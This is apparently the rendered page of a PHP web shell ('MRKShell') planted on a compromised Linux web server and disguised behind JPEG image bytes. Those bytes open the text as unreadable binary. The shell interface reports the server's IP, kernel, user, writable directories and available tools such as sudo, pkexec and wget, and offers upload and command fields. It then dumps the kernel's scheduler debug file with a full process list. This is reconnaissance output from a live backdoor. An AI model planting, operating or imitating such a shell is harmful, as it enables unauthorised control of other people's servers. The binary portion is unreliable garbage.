JFIF # -$)%7&).0444#9?92>-240 5+#+4;224;652252222225222220222522225222522;2225222222"B!1AQa"q2B#R3br5CS/!12AQ"aRq#3 ??;}q7:bd%Ո>L8/$rsrQٷf=+e: Rb0Z6pN۰7b 1S`JAT K,-֥7(bNRb9CsD/s,9?}+KA]`,EΞ@@ 3ukq14""tD@D@D@D@D@D@D@D@D@D@D@ȓ|:^Yw-)G%AI/9pwVSнm@6=g7AA5tg18gj>F'J,{C3(q<*#AzX?[$va:Q4SԽ7Uԥ&,c}nF;3mO$DN}RySm\*I"}b%7GLj;gp{{FYs(p_xOJFtStǸMU蓰s95"#H'Uq>7F5[}>v%'Y,&CqMzn}m*Xo vl˳hrӦ V)))g`7$sz^%I-1leE]y%݉>?f}( *BNNñ𜤢S[i'T1 ӥԊ>NlHď~)pKw1.UsD LI/k]Sr\r=ߴMAZNKi+P}| qBS*G*z:Imk\_|l6A7߉H\z0賈'Zt_\u>4 {\#O[ERxzLvP wOLT C0ȴ]BAʷ7uNNINS,(DDDDDDDL8MY݂N$ dMK׭i2FesmNQ=?omKv]OVl^@&pɴ[t5+E`oy.E]Ϳ}$g(7y7&X+imcT\(cHɤ|=. C =yȗXʧpv=&cX*[X_i4 GtfFՓnbMjR@ thv4LO I0zlU-_*G!cH9`nԿ \k-~rS*c[}9]qbi~+%)(h($ s;dՒG_\ё[Q,plq!pEſA RZU0*\n]a~Md_3EZ { &8e:jR*dAkyۛs\B˞0Z5%6e`3;0slSx+Xȇ"*ozkE"vܬWاQ8r @ m5$ [/KNFycgrۑ@ {""""""|xd*@s7o~7BSG|܎vøGtЍL١ѬnK/, f~^~l/Ij+!JI'^;{˚*hӤJarʮ)ڱ[P^$;%.V FLJW̔?2ԭUpJe,~b%iW Yhz̻FAl|3ln"M4kM@$2wmͣp8JY)ݬ.]3vԩİ(P*Tb/1FXTg KŮ*C9jE[69d!GZȩMu!5`H\Cp"=wSAmJjCn&/*Q[kQ~b"zΕ~)aA(2EZ0(FÑp.66_φk}T5 YdRarK ɽLSj"SnR-N-Mz~F^Igb Jq(~X fH'Ӵp5_HN(ܰ,Ȍ䶛DK%a~?FuI}"p=U+j}'p&I_ɑ-x!IٮM:w|q;9M?.6x:ODѪ̬zTL`t^?8xJ$ Q cL4d/_xy ˔ SPGNgwSrrS/`5ӧKj ,hTpI=LѦ(,Pc4*4iESO?5sMz<`&_bsTO)fkX[ xqq::h9ifVۉ\_R }JVg~Jzm`(]:O &6IOghX6+HM 7X]RkUr{HL-"< >~28b{[><@6gF5&\1̹nVŕonZM7 (SF$l\sM];owE+IֹȫzɲDߌPcMQMG)b,N ;*!uo&rHT`s^7įĴz0?P&Ҫ3]@H:hڢFҢM~p{&0s?k}+Ι9׵mw >?"fs+Odٯ̌m(R9T:UpbkW=F*ZQh urk8C8@ҧeUԀyKS '.UP,NBcpFS6n=AJl*7 4<(XY_Cda/D=()b,{yHL>[jrǹ7#M7fO`o/w]GȈEU2f\?7a)#봙݂͠SEg>VRdPfF@PV"Ꮷ_(qCJG_0?1[% NKu$7&ۭ ߡ26U$`/ 3ES:/nek |\tmSg5 س}6/qDT "(*sP4SrX)%T(6y%_ Z9<%]B}oyyY"]76*U*vjijw i3D̍IS \Jnn9ۋ>%o;~)5u56槡'z* B5#5

5#a`,>1TW{Xɘ}G4"ҕ4z5F>e6*[\;%*U0LUUr2cpnݢkɜY͌3+bG0#el۴oe,,jO*M1X/3z)W^,p>s{ İQs:ޝd|w :fIe$~+ajXjnT80'S>KIUP&kNϒT=XlȞNڞ]Yz_K[Qׂގ\gq!nB@IoG *l;_뼳\RUeэkm)qh傢5KNz٘6ba:671k{  $N vfN]S7gxg=VjG;wBx t~l/"ʭl=ԝ6n[Dٛ]@"x)# E):\8Bvkcpv4O*;coJ?4ªMCA'.\zVð'w1USݻSlTyj/ gʕ,:S')ܴ]7!A^b%P׶ٮհU3 o\}XTp,e 597n}dk6UFrVǧ3qaR:BWn>Ѻ}oxKӦK)kܑKL tCs1#?升 v{r:u)?#ZxM=ڝYـ#e}JHBGTG>GsܞG2+~R̅Hש)$[*Hfx-ugx({ I7λwvYm~ |e'X#db@hW,0H8*J5AъA`;jȊY*&sh8Jn]"M>l3z%Րsy=Um'qF sX %,Uv|0W`Gzcy*V0'3R`5ޓ Hڙ>PWbw7;)[U(:krm>/ QU+)P>Hm!r -evY>wT7ԝe)^6_SN⚓ϫ('?2Sj5,[پd|+_Pv'[]t'mΝ2l}z/dz^E|"'J qED)R2ƂSg`9Ոu5~ d!G%>M6%pdcP-P L`ϼTQnA_,24G GneRn,XnߕSzV$ReBfZuE ,Z(yi?vO!clOYA [; c I|vCom+Hꡤ\eaӴ;XS|v4%FcϷAQ[yϢ_s+Ơ&pt}=%^Sb"#gĀ'[ oAUPzr;ȔZTy4t>f種ً>T؟GRgC^-WЖukS,G LV$ܱO餰%cp)[*X_v$@DDӢ3bE-V0֍?zySyadd\ j5": Bxi?;3a]1]ZFD澙rc|8uz/ CȎ3UTqb4'ҥX 6KʖYT2fPe$6 lGzSQTP} OL1q^*rxջQ_K?'?=V MR K IS HERE

MRKShell
Server IP : 104.21.73.244  /  Your IP : 172.71.28.167
Web Server : nginx/1.14.1
System : Linux comtuc2-s-2vcpu-8gb-160gb-intel-nyc3 4.18.0-348.7.1.el8_5.x86_64 #1 SMP Wed Dec 22 13:25:12 UTC 2021 x86_64
User : nginx ( 991)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/self/root/proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /proc/self/root/proc//sched_debug
Sched Debug Version: v0.11, 4.18.0-348.7.1.el8_5.x86_64 #1
ktime                                   : 567013294.925977
sched_clk                               : 567017484.040752
cpu_clk                                 : 567017024.102711
jiffies                                 : 4861680591
sched_clock_stable()                    : 1

sysctl_sched
  .sysctl_sched_latency                    : 12.000000
  .sysctl_sched_min_granularity            : 10.000000
  .sysctl_sched_wakeup_granularity         : 15.000000
  .sysctl_sched_child_runs_first           : 0
  .sysctl_sched_features                   : 8279611
  .sysctl_sched_tunable_scaling            : 1 (logaritmic)

cpu#0, 2494.140 MHz
  .nr_running                    : 0
  .nr_switches                   : 168973002
  .nr_load_updates               : 0
  .nr_uninterruptible            : 79
  .next_balance                  : 4861.680585
  .curr->pid                     : 0
  .clock                         : 567017024.153347
  .clock_task                    : 560234712.787428
  .avg_idle                      : 5539217
  .max_idle_balance_cost         : 2971247

cfs_rq[0]:/
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 0.000001
  .min_vruntime                  : 33060088.955193
  .max_vruntime                  : 0.000001
  .spread                        : 0.000000
  .spread0                       : 0.000000
  .nr_spread_over                : 0
  .nr_running                    : 0
  .load                          : 0
  .load_avg                      : 18
  .runnable_avg                  : 18
  .util_avg                      : 17
  .util_est_enqueued             : 0
  .removed.load_avg              : 0
  .removed.util_avg              : 0
  .removed.runnable_avg          : 0
  .tg_load_avg_contrib           : 0
  .tg_load_avg                   : 0
  .throttled                     : 0
  .throttle_count                : 0

rt_rq[0]:/
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 950.000000

dl_rq[0]:
  .dl_nr_running                 : 0
  .dl_nr_migratory               : 0
  .dl_bw->bw                     : 996147
  .dl_bw->total_bw               : 0

runnable tasks:
 S            task   PID         tree-key  switches  prio     wait-time             sum-exec        sum-sleep
-------------------------------------------------------------------------------------------------------------
 S         systemd     1  33060073.038366    673236   120         0.000000    250101.048873         0.000000 0 0 /
 I          rcu_gp     3        13.990489         2   100         0.000000         0.003085         0.000000 0 0 /
 I      rcu_par_gp     4        15.990920         2   100         0.000000         0.001673         0.000000 0 0 /
 I    kworker/0:0H     6       276.264734         6   100         0.000000         0.008640         0.000000 0 0 /
 S     ksoftirqd/0    10  33060082.401467    994813   120         0.000000     20585.178943         0.000000 0 0 /
 S     migration/0    12         0.000000     19842     0         0.000000       183.688215         0.000000 0 0 /
 S      watchdog/0    13         0.000000    141756     0         0.000000        37.199564         0.000000 0 0 /
 S         cpuhp/0    14      5347.450212        14   120         0.000000         0.128977         0.000000 0 0 /
 S         kauditd    27  33060080.502138    314143   120         0.000000      5804.121612         0.000000 0 0 /
 I    kworker/0:1H    43  33060070.234772    140471   100         0.000000      2956.385747         0.000000 0 0 /
 I    kmpath_rdacd   181      1586.826583         2   100         0.000000         0.000000         0.000000 0 0 /
 I          kaluad   182      1592.826580         2   100         0.000000         0.000000         0.000000 0 0 /
 I   ipv6_addrconf   185      1611.825734         2   100         0.000000         0.029438         0.000000 0 0 /
 I           kstrp   186      1615.837248         2   100         0.000000         0.012767         0.000000 0 0 /
 I    kworker/u5:0   434      2773.607738         2   100         0.000000         0.007477         0.000000 0 0 /
 I         xprtiod   435      2780.566404         3   100         0.000000         0.011083         0.000000 0 0 /
 I         ata_sff   519      3238.421798         2   100         0.000000         0.008548         0.000000 0 0 /
 I      scsi_tmf_2   534      3261.697108         2   100         0.000000         0.007837         0.000000 0 0 /
 I   xfs_mru_cache   553      3589.174909         2   100         0.000000         0.008948         0.000000 0 0 /
 I    xfs-buf/vda1   554  31821327.331992         6   100         0.000000         0.253016         0.000000 0 0 /
 I   xfs-conv/vda1   555  26798881.346190        33   100         0.000000         0.798438         0.000000 0 0 /
 I xfs-eofblocks/v   558      3616.387169         2   100         0.000000         0.008501         0.000000 0 0 /
 I    xfs-log/vda1   559      3623.807700         2   100         0.000000         0.009242         0.000000 0 0 /
 S    xfsaild/vda1   560  33060082.408706  11081513   120         0.000000     58485.163841         0.000000 0 0 /
 S systemd-journal   676  33060072.293134    394932   120         0.000000    124541.600682         0.000000 0 0 /
 S         rpcbind   728  33059996.279350     18916   120         0.000000       421.631559         0.000000 0 0 /
 S          auditd   730  33060080.565738    315407   116         0.000000     34544.539069         0.000000 0 0 /
 S          auditd   731  33057734.641294     41797   116         0.000000      1053.574375         0.000000 0 0 /
 S          auditd   733  33060080.486173    305683   116         0.000000      7161.217078         0.000000 0 0 /
 S      sedispatch   732  33060080.486621    341910   116         0.000000     15546.220610         0.000000 0 0 /
 S            sssd   774  33059967.506080     19200   120         0.000000       645.229892         0.000000 0 0 /
 S           gmain   780      5245.713203         1   120         0.000000         0.083776         0.000000 0 0 /
 S           gdbus   798  33058799.944593    364244   120         0.000000     41622.009422         0.000000 0 0 /
 S       JS Helper   803      5277.469794         2   120         0.000000         0.061015         0.000000 0 0 /
 S         sssd_be   802  33060052.842592    113557   120         0.000000      4054.370582         0.000000 0 0 /
 S            rngd   807  33060080.475322   1190745   120         0.000000      9442.841124         0.000000 0 0 /
 S            rngd   814     13911.400899      1738   120         0.000000      8604.145177         0.000000 0 0 /
 S  systemd-logind   829  33060036.529074    456799   120         0.000000    138798.319212         0.000000 0 0 /
 S           gmain   902  33060081.419395    141756   120         0.000000      8496.201547         0.000000 0 0 /
 S           gdbus   903  33057924.350958     81875   120         0.000000     13389.628986         0.000000 0 0 /
 S           tuned  1098  33060082.453358   1536621   120         0.000000    266644.177664         0.000000 0 0 /
 S       memcached   925  33060082.075489    566899   120         0.000000     14822.570982         0.000000 0 0 /
 S       memcached   926  33060022.438046   3622548   120         0.000000    131200.361862         0.000000 0 0 /
 S       memcached   928  33060064.187347   3274265   120         0.000000    118459.172352         0.000000 0 0 /
 S       memcached   929  33059913.785814   3387521   120         0.000000    120406.100113         0.000000 0 0 /
 S       memcached   941      6245.128019         1   120         0.000000         0.013372         0.000000 0 0 /
 S       memcached   942  33060076.597406   1391873   120         0.000000    519908.785670         0.000000 0 0 /
 S        gssproxy   938      6245.124765         1   120         0.000000         0.010116         0.000000 0 0 /
 S          mysqld  1063      6491.029597         2   120         0.000000         0.060589         0.000000 0 0 /
 S          mysqld  1079  33060081.384931   1133393   120         0.000000     20797.949441         0.000000 0 0 /
 S          mysqld  1082  33060081.374323   1133388   120         0.000000     19819.807625         0.000000 0 0 /
 S          mysqld  1083  33060082.081729   1139616   120         0.000000     19365.725519         0.000000 0 0 /
 S          mysqld  1086  33060082.053085   1138714   120         0.000000     18821.024245         0.000000 0 0 /
 S          mysqld  1087  33060078.801349    794705   120         0.000000     13720.317871         0.000000 0 0 /
 S          mysqld  1106  33060080.070157    566852   120         0.000000     14240.724872         0.000000 0 0 /
 S          mysqld  1107  33060078.839183    566844   120         0.000000     24642.712002         0.000000 0 0 /
 S          mysqld  1110  33060072.162784    113396   120         0.000000      3094.902496         0.000000 0 0 /
 S          mysqld  1112  33060078.828660    585829   120         0.000000     18363.981698         0.000000 0 0 /
 S          mysqld  1114  31459933.391336     49554   120         0.000000       245.741882         0.000000 0 0 /
 S          mysqld  1115  31459933.389174     50352   120         0.000000       299.808472         0.000000 0 0 /
 S          mysqld  1116  31459933.387169     49778   120         0.000000       243.852199         0.000000 0 0 /
 S          mysqld  1121      7014.641764         1   120         0.000000         0.014219         0.000000 0 0 /
 S          mysqld  1124  33058991.132291     26364   120         0.000000       849.814261         0.000000 0 0 /
 S          mysqld  1128  27005748.831455        85   120         0.000000        53.877629         0.000000 0 0 /
 S          mysqld  1129      7335.660284         8   120         0.000000         1.554578         0.000000 0 0 /
 S          mysqld 615939  33058643.777214     79227   120         0.000000    246296.356171         0.000000 0 0 /
 S          mysqld 616013  33052303.114237     86338   120         0.000000    265489.109234         0.000000 0 0 /
 S          mysqld 616446  33051868.011387     86409   120         0.000000    266628.650911         0.000000 0 0 /
 S          mysqld 616447  33057198.457386     83425   120         0.000000    282555.757740         0.000000 0 0 /
 S          mysqld 616448  33055257.470198     78945   120         0.000000    259887.622891         0.000000 0 0 /
 S          mysqld 616452  33055312.917163     84842   120         0.000000    270801.501309         0.000000 0 0 /
 S          mysqld 616453  33056566.317076     81676   120         0.000000    285466.295296         0.000000 0 0 /
 S          mysqld 616455  33054424.359320     83910   120         0.000000    260609.191901         0.000000 0 0 /
 S          mysqld 616460  33052171.218127     82399   120         0.000000    258049.995196         0.000000 0 0 /
 S          mysqld 619326  33055512.372234     78528   120         0.000000    250737.373048         0.000000 0 0 /
 S          mysqld 633216  33060027.584163     72405   120         0.000000    252728.029819         0.000000 0 0 /
 S          mysqld 633218  33052436.702273     63828   120         0.000000    200482.921391         0.000000 0 0 /
 S          mysqld 633219  33057172.986899     73444   120         0.000000    248021.760019         0.000000 0 0 /
 S          mysqld 633220  33051431.477048     59419   120         0.000000    216404.120653         0.000000 0 0 /
 S          mysqld 667338  33054080.799744     22600   120         0.000000     71280.548474         0.000000 0 0 /
 S          mysqld 667340  33060026.261352     21072   120         0.000000     65633.645527         0.000000 0 0 /
 S          mysqld 667341  33051979.487585     19613   120         0.000000     53400.356345         0.000000 0 0 /
 S          mysqld 723544  33058805.648710       255   120         0.000000       282.085956         0.000000 0 0 /
 S          mysqld 723546  33056378.322484       290   120         0.000000       949.079939         0.000000 0 0 /
 S          mysqld 723550  33057239.646365       342   120         0.000000       685.904144         0.000000 0 0 /
 S          mysqld 723555  33059939.674251       313   120         0.000000       320.214373         0.000000 0 0 /
 S          mysqld 723597  33051706.588347       203   120         0.000000       224.774332         0.000000 0 0 /
 S          mysqld 723598  33057546.413730      1315   120         0.000000      2318.063452         0.000000 0 0 /
 S          mysqld 723611  33057513.705603       503   120         0.000000       665.129970         0.000000 0 0 /
 S          mysqld 723612  33052123.449074       201   120         0.000000       201.234563         0.000000 0 0 /
 S          mysqld 723630  33055528.159905       183   120         0.000000       210.155575         0.000000 0 0 /
 S          mysqld 723637  33054435.470831       255   120         0.000000       248.242489         0.000000 0 0 /
 S          mysqld 723638  33060009.027856       237   120         0.000000       234.421716         0.000000 0 0 /
 S          mysqld 723644  33059937.811094       190   120         0.000000       187.780082         0.000000 0 0 /
 S          mysqld 723645  33052470.028631       208   120         0.000000       235.805721         0.000000 0 0 /
 S          mysqld 723646  33055375.788672       226   120         0.000000       239.530212         0.000000 0 0 /
 S          mysqld 723647  33052069.708624       228   120         0.000000       221.667447         0.000000 0 0 /
 S          mysqld 723648  33049866.453095       347   120         0.000000      2442.272405         0.000000 0 0 /
 S          mysqld 723656  33052350.361050       373   120         0.000000      2219.865761         0.000000 0 0 /
 S          mysqld 723657  33051928.457854       232   120         0.000000       257.747414         0.000000 0 0 /
 S          mysqld 723658  33059913.932044       434   120         0.000000      1954.748993         0.000000 0 0 /
 S          mysqld 723665  33053939.351540       226   120         0.000000       563.961981         0.000000 0 0 /
 S          mysqld 723666  33056913.941006      1199   120         0.000000      2254.547864         0.000000 0 0 /
 S          mysqld 723667  33057157.772312       230   120         0.000000       450.603260         0.000000 0 0 /
 S          mysqld 723670  33058384.242345       157   120         0.000000       181.617171         0.000000 0 0 /
 S          mysqld 723671  33054893.067454       161   120         0.000000       196.143742         0.000000 0 0 /
 S          mysqld 723672  33057193.187990       580   120         0.000000       659.752410         0.000000 0 0 /
 S          mysqld 723674  33055401.690520       194   120         0.000000       204.626317         0.000000 0 0 /
 S          mysqld 723684  33052548.912928       156   120         0.000000       165.571789         0.000000 0 0 /
 S          mysqld 723685  33052153.997551       209   120         0.000000       204.438115         0.000000 0 0 /
 S          mysqld 723686  33052364.819888       197   120         0.000000       195.771899         0.000000 0 0 /
 S          mysqld 723687  33052202.380329       176   120         0.000000       201.631288         0.000000 0 0 /
 S          mysqld 723688  33054033.653654       204   120         0.000000       560.869146         0.000000 0 0 /
 S          mysqld 723700  33054304.645048       156   120         0.000000       178.291266         0.000000 0 0 /
 S          mysqld 723701  33059903.478271       288   120         0.000000      1071.323331         0.000000 0 0 /
 S          mysqld 723702  33056795.608649       484   120         0.000000       607.746458         0.000000 0 0 /
 S          mysqld 723703  33054146.595350       157   120         0.000000       179.937410         0.000000 0 0 /
 S          mysqld 723704  33057316.115010       203   120         0.000000       190.388054         0.000000 0 0 /
 S          mysqld 723705  33058990.039662       133   120         0.000000       129.279829         0.000000 0 0 /
 S          mysqld 723706  33056627.295468       765   120         0.000000      2068.927350         0.000000 0 0 /
 S          mysqld 723707  33046692.002371       165   120         0.000000       160.427761         0.000000 0 0 /
 S          mysqld 723708  33052404.627912       152   120         0.000000       184.722535         0.000000 0 0 /
 S          mysqld 723709  33046736.482843       172   120         0.000000       391.255307         0.000000 0 0 /
 S          mysqld 723710  33046732.123532       164   120         0.000000       180.575215         0.000000 0 0 /
 S          mysqld 723724  33055421.731029       161   120         0.000000       444.395438         0.000000 0 0 /
 S          mysqld 723745  33048564.680984       155   120         0.000000       128.916555         0.000000 0 0 /
 S          mysqld 723746  33049855.506727       171   120         0.000000       170.192201         0.000000 0 0 /
 S          mysqld 723751  33058866.164953       156   120         0.000000       169.922748         0.000000 0 0 /
 S          mysqld 723753  33046708.487185       154   120         0.000000       152.650988         0.000000 0 0 /
 S          mysqld 723754  33052078.886217       136   120         0.000000       118.166052         0.000000 0 0 /
 S          mysqld 723759  33052320.042632        95   120         0.000000       105.092362         0.000000 0 0 /
 S          mysqld 723760  33052538.591034       171   120         0.000000       164.599815         0.000000 0 0 /
 S          mysqld 723765  33051942.715570       155   120         0.000000       148.135936         0.000000 0 0 /
 S          mysqld 723770  33053997.762304       152   120         0.000000       164.158438         0.000000 0 0 /
 S          mysqld 723771  33052338.150893       158   120         0.000000       135.991237         0.000000 0 0 /
 S          mysqld 723772  33052505.174743       160   120         0.000000       151.796234         0.000000 0 0 /
 S          mysqld 723775  33056430.899977       226   120         0.000000      2041.351695         0.000000 0 0 /
 S          mysqld 723776  33052033.734229       117   120         0.000000       106.872604         0.000000 0 0 /
 S          mysqld 723778  33054382.104818       141   120         0.000000       370.904672         0.000000 0 0 /
 S          mysqld 723779  33054358.600006       133   120         0.000000       160.031712         0.000000 0 0 /
 S          mysqld 723781  33054840.409043       332   120         0.000000      1087.709019         0.000000 0 0 /
 S          mysqld 723789  33055154.136246       151   120         0.000000       155.740737         0.000000 0 0 /
 S          mysqld 723790  33057697.999583        75   120         0.000000        86.454312         0.000000 0 0 /
 S          mysqld 723791  33057677.935588       461   120         0.000000       664.963057         0.000000 0 0 /
 S          mysqld 723793  33057887.635117       105   120         0.000000       146.571501         0.000000 0 0 /
 S          mysqld 723795  33056769.555559       115   120         0.000000       132.018830         0.000000 0 0 /
 S          mysqld 723802  33051496.257780       106   120         0.000000       117.961415         0.000000 0 0 /
 S            sshd  1228  33054353.176791     37146   120         0.000000      8910.681377         0.000000 0 0 /
 S        do-agent  1233  33057238.112771     16504   120         0.000000      4686.078907         0.000000 0 0 /
 S        do-agent  1247  33060044.639715    229452   120         0.000000      1277.378853         0.000000 0 0 /
 S        do-agent  1249  33057243.854312     57922   120         0.000000     16202.677438         0.000000 0 0 /
 S        do-agent 191162  32180029.357747     42871   120         0.000000     12368.742015         0.000000 0 0 /
 S        do-agent 194175  33043124.130752     41840   120         0.000000     12551.064970         0.000000 0 0 /
 S           crond  1238  33057924.280633     90671   120         0.000000     16114.160807         0.000000 0 0 /
 S         systemd  5435  33057924.271093     80316   120         0.000000      5655.630745         0.000000 0 0 /
 S       gpg-agent  5530  33060071.015870    151011   120         0.000000      6573.477327         0.000000 0 0 /
 S           nginx  5800  33060088.955193   6549979   120         0.000000   1185212.938489         0.000000 0 0 /
 I     kworker/0:2 720078  33040967.706144     26075   120         0.000000       214.093512         0.000000 0 0 /
 I    kworker/u4:1 720086  33060075.438019      1772   120         0.000000        70.166744         0.000000 0 0 /
 I     kworker/0:0 722620  33060082.400764     31910   120         0.000000       279.878222         0.000000 0 0 /
 S         php-fpm 723749  33060082.138971     11027   120         0.000000      1944.403713         0.000000 0 0 /
 S         php-fpm 723755  33060073.801624     12186   120         0.000000      2334.767591         0.000000 0 0 /
 S         php-fpm 723768  33060078.484564     11049   120         0.000000      1865.739890         0.000000 0 0 /
 S         php-fpm 723769  33060081.405716     10766   120         0.000000      1937.547766         0.000000 0 0 /
 S         php-fpm 723782  33060072.881474     11670   120         0.000000      2057.416960         0.000000 0 0 /
 S         php-fpm 723784  33060081.861200     10851   120         0.000000      1903.329452         0.000000 0 0 /
 S         php-fpm 723785  33060084.825756     11657   120         0.000000      1798.739892         0.000000 0 0 /
 S         php-fpm 723787  33060074.133940     10482   120         0.000000      1918.394499         0.000000 0 0 /
 S         php-fpm 723788  33060081.436493     12147   120         0.000000      2136.487358         0.000000 0 0 /
 S         php-fpm 723806  33060078.039475     11102   120         0.000000      2093.329594         0.000000 0 0 /
 S         php-fpm 723809  33060078.198257     10625   120         0.000000      1882.489759         0.000000 0 0 /
 S         php-fpm 723810  33060084.774174     11099   120         0.000000      2183.837194         0.000000 0 0 /
 S         php-fpm 723812  33060074.073437     11852   120         0.000000      2305.083931         0.000000 0 0 /
 S         php-fpm 723813  33060075.711138     11551   120         0.000000      1843.624945         0.000000 0 0 /
 I     kworker/0:1 724812  33040967.700828      2509   120         0.000000        22.040273         0.000000 0 0 /
 I     kworker/0:3 724939  33057909.324688      9707   120         0.000000        73.217500         0.000000 0 0 /
 I     kworker/0:4 725778  33057924.236491        16   120         0.000000         0.235109         0.000000 0 0 /

cpu#1, 2494.140 MHz
  .nr_running                    : 1
  .nr_switches                   : 157922439
  .nr_load_updates               : 0
  .nr_uninterruptible            : -79
  .next_balance                  : 4861.680595
  .curr->pid                     : 723811
  .clock                         : 567017024.182060
  .clock_task                    : 559482283.464643
  .avg_idle                      : 1747081
  .max_idle_balance_cost         : 1109806

cfs_rq[1]:/
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 0.000001
  .min_vruntime                  : 34242987.821335
  .max_vruntime                  : 0.000001
  .spread                        : 0.000000
  .spread0                       : 1182898.866142
  .nr_spread_over                : 0
  .nr_running                    : 1
  .load                          : 1048576
  .load_avg                      : 55
  .runnable_avg                  : 55
  .util_avg                      : 55
  .util_est_enqueued             : 43
  .removed.load_avg              : 0
  .removed.util_avg              : 0
  .removed.runnable_avg          : 0
  .tg_load_avg_contrib           : 0
  .tg_load_avg                   : 0
  .throttled                     : 0
  .throttle_count                : 0

rt_rq[1]:/
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 950.000000

dl_rq[1]:
  .dl_nr_running                 : 0
  .dl_nr_migratory               : 0
  .dl_bw->bw                     : 996147
  .dl_bw->total_bw               : 0

runnable tasks:
 S            task   PID         tree-key  switches  prio     wait-time             sum-exec        sum-sleep
-------------------------------------------------------------------------------------------------------------
 S        kthreadd     2  34222481.701245      4200   120         0.000000       154.574779         0.000000 0 0 /
 I    mm_percpu_wq     9  27315726.798389        28   100         0.000000         0.243323         0.000000 0 0 /
 I       rcu_sched    11  34242981.851440  31128805   120         0.000000    540239.263942         0.000000 0 0 /
 S         cpuhp/1    15      4108.577466        13   120         0.000000         1.219106         0.000000 0 0 /
 S      watchdog/1    16        -2.993579    141756     0         0.000000       699.926883         0.000000 0 0 /
 S     migration/1    17         0.000000     18382     0         0.000000       214.682262         0.000000 0 0 /
 S     ksoftirqd/1    18  34242979.991411    658121   120         0.000000     18640.540333         0.000000 0 0 /
 I    kworker/1:0H    20       453.533808         8   100         0.000000         0.060281         0.000000 0 0 /
 S       kdevtmpfs    23      4408.578016       120   120         0.000000         2.214070         0.000000 0 0 /
 I           netns    24        36.789439         2   100         0.000000         0.006384         0.000000 0 0 /
 S rcu_tasks_trace    25        40.789438         2   120         0.000000         0.000000         0.000000 0 0 /
 S rcu_tasks_rude_    26        40.792153         2   120         0.000000         0.002715         0.000000 0 0 /
 S      khungtaskd    28  34242209.475566      4616   120         0.000000       207.465073         0.000000 0 0 /
 S      oom_reaper    29        53.944711         2   120         0.000000         0.000000         0.000000 0 0 /
 I       writeback    30        53.944711         2   100         0.000000         0.000000         0.000000 0 0 /
 S      kcompactd0    31  34144459.378345      1755   120         0.000000       969.957054         0.000000 0 0 /
 S            ksmd    32        53.948783         2   125         0.000000         0.004072         0.000000 0 0 /
 S      khugepaged    33  34242834.870990     76073   139         0.000000      6250.971871         0.000000 0 0 /
 I          crypto    34        61.951690         2   100         0.000000         0.000000         0.000000 0 0 /
 I     kintegrityd    35        61.954674         2   100         0.000000         0.002984         0.000000 0 0 /
 I         kblockd    36        65.954673         2   100         0.000000         0.000000         0.000000 0 0 /
 I  blkcg_punt_bio    37        65.954673         2   100         0.000000         0.000000         0.000000 0 0 /
 I      tpm_dev_wq    38        65.963806         2   100         0.000000         0.009133         0.000000 0 0 /
 I              md    39        69.969102         2   100         0.000000         0.005297         0.000000 0 0 /
 I     edac-poller    40        73.973456         2   100         0.000000         0.004355         0.000000 0 0 /
 S       watchdogd    41         0.000000         2     0         0.000000         0.005873         0.000000 0 0 /
 S         kswapd0    77  34144466.202914      4708   120         0.000000     14199.324158         0.000000 0 0 /
 I        kthrotld   179       445.135534         2   100         0.000000         0.002759         0.000000 0 0 /
 I acpi_thermal_pm   180       445.135536         2   100         0.000000         0.014447         0.000000 0 0 /
 I    kworker/1:1H   184  34242957.751803    228290   100         0.000000      3432.369058         0.000000 0 0 /
 I          rpciod   433      1997.463977         2   100         0.000000         0.012798         0.000000 0 0 /
 S       scsi_eh_0   509      2410.778126         2   120         0.000000         0.014992         0.000000 0 0 /
